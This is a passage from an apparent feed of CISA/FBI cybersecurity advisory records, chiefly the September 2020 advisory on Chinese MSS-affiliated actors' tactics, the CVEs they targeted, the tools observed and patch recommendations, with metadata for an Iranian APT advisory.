\n\nObtain Capabilities: Malware [[T1588.001](<https://attack.mitre.org/versions/v10/techniques/T1588/001>)] \n \nObtain Capabilities: Tool [[T1588.002](<https://attack.mitre.org/versions/v10/techniques/T1588/002>)] \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)] | \n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)] \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nScheduled Task/Job: Scheduled Task [[T1053.005](<https://attack.mitre.org/versions/v10/techniques/T1053/005>)] \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)] | \n\nCreate Account: Local Account [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>)] \n \nCreate Account: Domain Account [[T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)] \nPrivilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)] | \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\n| \nCollection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>)] | \n\nArchive Collected Data: Archive via Utility [[T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)] \n \nExfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)] | \nImpact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)] | Data Encrypted for Impact [[T1486](<https://attack.mitre.org/versions/v10/techniques/T1486>)] \n \n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at <https://www.fbi.gov/contact-us/field-offices>, or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>). Australian organizations can visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.\n\n### Revisions\n\nNovember 17, 2021: Initial Version|November 19, 2021: Added STIX files\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T12:00:00", "type": "ics", "title": "Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473"], "modified": "2021-11-19T12:00:00", "id": "AA21-321A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:20", "description": "### Summary\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has consistently observed Chinese Ministry of State Security (MSS)-affiliated cyber threat actors using publicly available information sources and common, well-known tactics, techniques, and procedures (TTPs) to target U.S. Government agencies. CISA has observed these\u2014and other threat actors with varying degrees of skill\u2014routinely using open-source information to plan and execute cyber operations. CISA leveraged the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) and Pre-ATT&amp;CK frameworks to characterize the TTPs used by Chinese MSS-affiliated actors. This product was written by CISA with contributions by the Federal Bureau of Investigation (FBI).\n\n### Key Takeaways\n\n * Chinese MSS-affiliated cyber threat actors use open-source information to plan and conduct cyber operations.\n * Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.\n * Maintaining a rigorous patching cycle continues to be the best defense against the most frequently used attacks.\n * If critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network.\n * This Advisory identifies some of the more common\u2014yet most effective\u2014TTPs employed by cyber threat actors, including Chinese MSS-affiliated cyber threat actors.\n\n[Click here](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>) for a PDF version of this report.\n\n### Technical Details\n\nThrough the operation of the National Cybersecurity Protection System (NCPS) and by fulfilling its mission as the national risk advisor, CISA has observed Chinese MSS-affiliated cyber threat actors operating from the People\u2019s Republic of China using commercially available information sources and open-source exploitation tools to target U.S. Government agency networks.\n\nAccording to a recent U.S. Department of Justice indictment, MSS-affiliated actors have targeted various industries across the United States and other countries\u2014including high-tech manufacturing; medical device, civil, and industrial engineering; business, educational, and gaming software; solar energy; pharmaceuticals; and defense\u2014in a campaign that lasted over ten years.[[1](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)] These hackers acted for both their own personal gain and the benefit of the Chinese MSS.[[2](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)]\n\nAccording to the indictment,\n\n_To conceal the theft of information from victim networks and otherwise evade detection, the defendants typically packaged victim data in encrypted Roshal Archive Compressed files (RAR files), changed RAR file and victim documents\u2019 names and extensions (e.g., from \u201c.rar\u201d to \u201c.jpg\u201d) and system timestamps, and concealed programs and documents at innocuous-seeming locations on victim networks and in victim networks\u2019 \u201crecycle bins.\u201d The defendants frequently returned to re-victimize companies, government entities, and organizations from which they had previously stolen data, in some cases years after the initial successful data theft. In several instances, however, the defendants were unsuccessful in this regard, due to the efforts of the FBI and network defenders._\n\nThe continued use of open-source tools by Chinese MSS-affiliated cyber threat actors highlights that adversaries can use relatively low-complexity capabilities to identify and exploit target networks. In most cases, cyber operations are successful because misconfigurations and immature patch management programs allow actors to plan and execute attacks using existing vulnerabilities and known exploits. Widespread implementation of robust configuration and patch management programs would greatly increase network security. It would also reduce the speed and frequency of opportunistic attacks by forcing threat actors to dedicate time and funding to research unknown vulnerabilities and develop custom exploitation tools.\n\n### MITRE PRE-ATT&amp;CK\u00ae Framework for Analysis\n\nIn the last 12 months, CISA analysts have routinely observed Chinese MSS-affiliated actors using the following PRE-ATT&amp;CK\u00ae Framework TTPs.\n\n#### Target Selection and Technical Information Gathering\n\n_Target Selection_ [[TA0014](<https://attack.mitre.org/versions/v7/tactics/TA0014/>)] is a critical part of cyber operations. While cyber threat actors\u2019 motivations and intents are often unknown, they often make their selections based on the target network\u2019s security posture. Threat actors can use information sources such as Shodan, the Common Vulnerabilities and Exposure (CVE) database, and the National Vulnerabilities Database (NVD).[[3](<https://www.shodan.io/>)][[4](<https://cve.mitre.org/>)][[5](<https://nvd.nist.gov/>)]\n\n * Shodan is an internet search engine that can be used to identify vulnerable devices connected to the internet. Shodan queries can also be customized to discover specific vulnerabilities on devices, which enables sophisticated cyber threat actors to use relatively unsophisticated techniques to execute opportunistic attacks on susceptible targets.\n * The CVE database and the NVD contain detailed information about vulnerabilities in applications, appliances, and operating systems that can be exploited by cyber threat actors if they remain unpatched. These sources also provide risk assessments if any of the recorded vulnerabilities are successfully exploited.\n\nThese information sources have legitimate uses for network defense. CISA analysts are able to identify Federal Government systems that may be susceptible to exploitation attempts by using Shodan, the CVE database, and the NVD to enrich NCPS information. Unlike threat actors, CISA takes the necessary actions to notify network owners of their exposure in order to prevent an impending intrusion or quickly identify intrusions as they occur.\n\nWhile using these data sources, CISA analysts have observed a correlation between the public release of a vulnerability and targeted scanning of systems identified as being vulnerable. This correlation suggests that cyber threat actors also rely on Shodan, the CVE database, the NVD, and other open-source information to identify targets of opportunity and plan cyber operations. Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits. These information sources therefore contain invaluable information that can lead cyber threat actors to implement highly effective attacks.\n\nCISA has observed Chinese MSS-affiliated actors using the techniques in table 1 to gather technical information to enable cyber operations against Federal Government networks (_Technical Information Gathering_ [[TA0015](<https://attack.mitre.org/versions/v7/tactics/TA0015/>)]).\n\n_Table 1: Technical information gathering techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1245](<https://attack.mitre.org/versions/v7/techniques/T1245/>)\n\n| \n\nDetermine Approach/Attack Vector\n\n| \n\nThe threat actors narrowed the attack vectors to relatively recent vulnerability disclosures with open-source exploits. \n \n[T1247](<https://attack.mitre.org/versions/v7/techniques/T1247/>)\n\n| \n\nAcquire Open Source Intelligence (OSINT) Data Sets and Information\n\n| \n\nCISA observed activity from network proxy service Internet Protocol (IP) addresses to three Federal Government webpages. This activity appeared to enable information gathering activities. \n \n[T1254](<https://attack.mitre.org/versions/v7/techniques/T1254/>)\n\n| \n\nConduct Active Scanning\n\n| \n\nCISA analysts reviewed the network activity of known threat actor IP addresses and found evidence of reconnaissance activity involving virtual security devices. \n \n#### Technical Weakness Identification\n\nCISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure. This targeting, scanning, and probing frequently leads to compromises at the hands of sophisticated cyber threat actors. In some cases, cyber threat actors have used the same vulnerabilities to compromise multiple organizations across many sectors. Organizations do not appear to be mitigating known vulnerabilities as quickly as cyber threat actors are exploiting them. CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[[6](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a >)]\n\nAdditionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.\n\n_Table 2: Significant CVEs targeted by Chinese MSS-affiliated actors in the last 12 months_\n\nVulnerability\n\n| \n\nObservations \n \n---|--- \n \nCVE-2020-5902: F5 Big-IP Vulnerability\n\n| \n\nCISA has conducted incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2020-5902. This is a vulnerability in F5\u2019s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[[7](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a >)] \n \nCVE-2019-19781: Citrix Virtual Private Network (VPN) Appliances\n\n| \n\nCISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances. CVE-2019-19781 enabled the actors to execute directory traversal attacks.[[8](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a >)] \n \nCVE-2019-11510: Pulse Secure VPN Servers\n\n| \n\nCISA has conducted multiple incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2019-11510\u2014an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances\u2014to gain access to victim networks. Although Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.[[9](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a >)] \n \nCVE-2020-0688: Microsoft Exchange Server\n\n| \n\nCISA has observed the actors exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks. \n \nAdditionally, CISA has observed Chinese MSS-affiliated actors using the techniques listed in table 3 to identify technical weaknesses in Federal Government networks (_Technical Weakness Identification _[[TA0018](<https://attack.mitre.org/versions/v7/tactics/TA0018/>)]). \n\n_Table 3: Technical weakness identification techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1288](<https://attack.mitre.org/versions/v7/techniques/T1288/>)\n\n| \n\nAnalyze Architecture and Configuration Posture\n\n| \n\nCISA observed the cyber actors scanning a Federal Government agency for vulnerable web servers. CISA also observed the threat actors scanning for known vulnerable network appliance CVE-2019-11510. \n \n[T1291](<https://attack.mitre.org/versions/v7/techniques/T1291/>)\n\n| \n\nResearch Relevant Vulnerabilities\n\n| \n\nCISA has observed the threat actors scanning and reconnaissance of Federal Government internet-facing systems shortly after the disclosure of significant CVEs. \n \n#### Build Capabilities \n\nCISA analysts have observed cyber threat actors using command and control (C2) infrastructure as part of their cyber operations. These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (_Build Capabilities _[[TA0024](<https://attack.mitre.org/versions/v7/tactics/TA0024/>)]). CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4.\n\n_Table 4: Build capabilities observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1352](<https://attack.mitre.org/versions/v7/techniques/T1352/>)\n\n| \n\nC2 Protocol Development\n\n| \n\nCISA observed beaconing from a Federal Government entity to the threat actors\u2019 C2 server. \n \n[T1328](<https://attack.mitre.org/versions/v7/techniques/T1328/>)\n\n| \n\nBuy Domain Name\n\n| \n\nCISA has observed the use of domains purchased by the threat actors. \n \n[T1329](<https://attack.mitre.org/versions/v7/techniques/T1329/>)\n\n| \n\nAcquire and / or use of 3rd Party Infrastructure\n\n| \n\nCISA has observed the threat actors using virtual private servers to conduct cyber operations. \n \n[T1346](<https://attack.mitre.org/versions/v7/techniques/T1346>)\n\n| \n\nObtain/Re-use Payloads\n\n| \n\nCISA has observed the threat actors use and reuse existing capabilities. \n \n[T1349](<https://attack.mitre.org/versions/v7/techniques/T1349>)\n\n| \n\nBuild or Acquire Exploit\n\n| \n\nCISA has observed the threat actors using a variety of open-source and publicly available exploits and exploit code to compromise Federal Government networks. \n \n### MITRE ATT&amp;CK Framework for Analysis\n\nCISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools to conduct their operations. For example, threat actors often leverage internet software repositories such as GitHub and Exploit-DB.[[10](<https://www.GitHub.com >)][[11](<https://exploit-db.com >)] Both repositories are commonly used for legitimate development and penetration testing and developing open-source code, but cyber threat actors can also use them to find code to enable nefarious actions.\n\nDuring incident response activities, CISA frequently observed Chinese government-affiliated actors using the open-source tools outlined in table 5.\n\n_Table 5: Common exploit tools CISA observed used by Chinese MSS-affiliated actors_\n\nTool\n\n| \n\nObservations \n \n---|--- \n \n[Cobalt Strike](<https://attack.mitre.org/versions/v7/software/S0154/>)\n\n| \n\nCISA has observed the threat actors using Cobalt Strike to target commercial and Federal Government networks. Cobalt Strike is a commercial penetration testing tool used to conduct red team operations. It contains a number of tools that complement the cyber threat actor\u2019s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers. \n \n[China Chopper Web Shell](<https://attack.mitre.org/versions/v7/software/S0020/>)\n\n| \n\nCISA has observed the actors successfully deploying China Chopper against organizations\u2019 networks. This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB. China Chopper is a web shell hosted on a web server. It is mainly used for web application attacks, and it is configured in a client/server relationship. China Chopper contains security scanners and can be used to upload files and brute-force passwords. \n \n[Mimikatz](<https://attack.mitre.org/versions/v7/software/S0002/>)\n\n| \n\nCISA has observed the actors using Mimikatz during their operations. This open-source tool is used to capture account credentials and perform privilege escalation with pass-the-hash attacks that allow an attacker to pass captured password hashes and authenticate to network devices.[[12](<https://www.varonis.com/blog/what-is-mimikatz/ >)] \n \nThe following sections list the ATT&amp;CK Framework TTPs routinely employed by Chinese government-affiliated actors to conduct cyber operations as observed by CISA analysts.\n\n#### Initial Access \n\nIn the last 12 months, CISA has observed Chinese MSS-affiliated actors use spearphishing emails with embedded links to actor-owned infrastructure and, in some cases, compromise or poison legitimate sites to enable cyber operations.\n\nCISA has observed the threat actors using the _Initial Access_ [[TA0001](<https://attack.mitre.org/versions/v7/tactics/TA0001/>)] techniques identified in table 6.\n\n_Table 6: Initial access techniques observed by CISA_\n\n**MITRE ID**\n\n| \n\n**Name**\n\n| \n\n**Observation** \n \n---|---|--- \n \n[T1204.001](<https://attack.mitre.org/versions/v7/techniques/T1204/001/>)\n\n| \n\nUser Execution: Malicious Link\n\n| \n\nCISA has observed indications that users have clicked malicious links embedded in spearphishing emails that the threat actors sent \n \n[T1566.002](<https://attack.mitre.org/versions/v7/techniques/T1566/002>)\n\n| \n\nPhishing: Spearphishing Link\n\n| \n\nCISA analyzed network activity of a Federal Government entity and concluded that the threat actors sent a malicious email weaponized with links. \n \n[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190>)\n\n| \n\nExploit Public-Facing Application\n\n| \n\nCISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers. \n \nCyber threat actors can continue to successfully launch these types of low-complexity attacks\u2014as long as misconfigurations in operational environments and immature patch management programs remain in place\u2014by taking advantage of common vulnerabilities and using readily available exploits and information.\n\n#### Execution \n\nCISA analysts continue to observe beaconing activity indicative of compromise or ongoing access to Federal Government networks. This beaconing is a result of cyber threat actors successfully completing cyber operations that are often designed around emergent vulnerabilities and reliant on existing exploitation tools, as mentioned in this document.\n\nCISA has observed Chinese MSS-affiliated actors using the _Execution _[[TA0002](<https://attack.mitre.org/versions/v7/tactics/TA0002/>)] technique identified in table 7.\n\n_Table 7: Execution technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1072](<https://attack.mitre.org/versions/v7/techniques/T1072>)\n\n| \n\nSoftware Deployment Tools\n\n| \n\nCISA observed activity from a Federal Government IP address beaconing out to the threat actors\u2019 C2 server, which is usually an indication of compromise. \n \n#### Credential Access \n\nCyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks. While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals. Further, a threat actor does not require a high degree of competence or sophistication to successfully carry out this kind of opportunistic attack.\n\nCISA has observed Chinese MSS-affiliated actors using the _Credential Access_ [[TA0006](<https://attack.mitre.org/versions/v7/tactics/TA0006/>)] techniques highlighted in table 8.\n\n_Table 8: Credential access techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1003.001](<https://attack.mitre.org/versions/v7/techniques/T1003/001/>)\n\n| \n\nOperating System (OS) Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory\n\n| \n\nCISA observed the threat actors using Mimikatz in conjunction with coin miner protocols and software. The actors used Mimikatz to dump credentials from the OS using a variety of capabilities resident within the tool. \n \n[T1110.004](<https://attack.mitre.org/versions/v7/techniques/T1110/004>)\n\n| \n\nBrute Force: Credential Stuffing\n\n| \n\nCISA observed what was likely a brute-force attack of a Remote Desktop Protocol on a public-facing server. \n \n#### Discovery \n\nAs with any cyber operation, cyber threat actors must be able to confirm that their target is online and vulnerable\u2014there are a multitude of open-source scanning and reconnaissance tools available to them to use for this purpose. CISA consistently observes scanning activity across federal agencies that is indicative of discovery techniques. CISA has observed Chinese MSS-affiliated actors scanning Federal Government traffic using the discovery technique highlighted in table 9 (_Discovery_ [[TA0007](<https://attack.mitre.org/versions/v7/tactics/TA0007/>)]).\n\n_Table 9: Discovery technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1046](<https://attack.mitre.org/versions/v7/techniques/T1046/>)\n\n| \n\nNetwork Service Scanning\n\n| \n\nCISA has observed suspicious network scanning activity for various ports at Federal Government entities. \n \n#### Collection \n\nWithin weeks of public disclosure of CVE-2020-0688, CISA analysts identified traffic that was indicative of Chinese MSS-affiliated threat actors attempting to exploit this vulnerability using the _Collection_ [[TA0009](<https://attack.mitre.org/versions/v7/tactics/TA0009/>)] technique listed in table 10.\n\n_Table 10: Collection technique observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1114](<https://attack.mitre.org/versions/v7/techniques/T1114>)\n\n| \n\nEmail Collection\n\n| \n\nCISA observed the actors targeting CVE-2020-0688 to collect emails from the exchange servers found in Federal Government environments. \n \n#### Command and Control \n\nCISA analysts often observe cyber threat actors using external proxy tools or hop points to enable their cyber operations while remaining anonymous. These proxy tools may be commercially available infrastructure as a service (IaaS) or software as a service (SaaS) in the form of a web browser promising anonymity on the internet. For example, \u201cThe Onion Router\u201d (Tor) is often used by cyber threat actors for anonymity and C2. Actor\u2019s carefully choose proxy tools depending on their intended use. These techniques are relatively low in complexity and enabled by commercially available tools, yet they are highly effective and often reliant upon existing vulnerabilities and readily available exploits.\n\nCISA has observed Chinese MSS-affiliated actors using the _Command and Control_ [[TA0011](<https://attack.mitre.org/versions/v7/tactics/TA0011/>)] techniques listed in table 11.\n\n_Table 11: Command and control techniques observed by CISA_\n\nMITRE ID\n\n| \n\nName\n\n| \n\nObservation \n \n---|---|--- \n \n[T1090.002](<https://attack.mitre.org/versions/v7/techniques/T1090/002>)\n\n| \n\nProxy: External Proxy\n\n| \n\nCISA observed activity from a network proxy tool to 221 unique Federal Government agency IP addresses. \n \n[T1090.003](<https://attack.mitre.org/versions/v7/techniques/T1090/003>)\n\n| \n\nProxy: Multi-hop Proxy\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n[T1573.002](<https://attack.mitre.org/versions/v7/techniques/T1573/002>)\n\n| \n\nEncrypted Channel: Asymmetric Cryptography\n\n| \n\nCISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems. \n \n### Mitigations\n\nCISA asserts with high confidence that sophisticated cyber threat actors will continue to use open-source resources and tools to target networks with a low security posture. When sophisticated cyber threat actors conduct operations against soft targets, it can negatively impact critical infrastructure, federal, and state, local, tribal, territorial government networks, possibly resulting in loss of critical data or personally identifiable information.\n\nCISA and the FBI recommend that organizations place an increased priority on patching the vulnerabilities routinely exploited by MSS-affiliated cyber actors. See table 12 for patch information on the CVEs mentioned in this report. For more information on vulnerabilities routinely exploited by sophisticated cyber actors, see [CISA Alert: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>).\n\n_Table 12: Patch Information for Vulnerabilities Routinely Exploited by MSS-affiliated Cyber Actors_\n\nVulnerability\n\n| \n\nVulnerable Products\n\n| \n\nPatch Information \n \n---|---|--- \n \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n\n| \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\n * Citrix Application Delivery Controller\n\n * Citrix Gateway\n\n * Citrix SDWAN WANOP\n\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n * Microsoft Exchange Servers\n\n| \n\n * [Microsoft Security Advisory: CVE-2020-0688: Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) \n \nCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats. Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems. \n\n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at [www.fbi.gov/contact-us/field](<https://www.fbi.gov/contact-us/field-offices>), or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto: CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [central@cisa.dhs.gov](<mailto: Central@cisa.dhs.gov>).\n\n### References\n\n[[1] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[2] U.S. Department of Justice Press Release](<https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion>)\n\n[[3] Shodan](<https://www.shodan.io>)\n\n[[4] MITRE Common Vulnerabilities and Exposures List](<https://cve.mitre.org>)\n\n[[5] National Institute of Standards and Technology National Vulnerability Database](<https://nvd.nist.gov/>)\n\n[[6] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>)\n\n[[7] CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>)\n\n[[8] CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n\n[[9] CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching](<https://us-cert.cisa.gov/ncas/alerts/aa20-107a>)\n\n[[10] GitHub](<https://www.GitHub.com>)\n\n[[11] Exploit-DB](<https://www.exploit-db.com/>)\n\n[[12] What is Mimikatz: The Beginner's Guide (VARONIS)](<https://www.varonis.com/blog/what-is-mimikatz/>)\n\n### Revisions\n\nSeptember 14, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-10-24T12:00:00", "id": "AA20-258A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-258a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:28:44", "description": "### Summary\n\n_**Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture.** \n\u2022 Patch all systems. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)._ \n\u2022 Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>). \n\u2022 _Use antivirus software._ \n_\u2022 Develop internal contact lists and surge support._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) framework, version 10. See the [ATT&amp;CK for 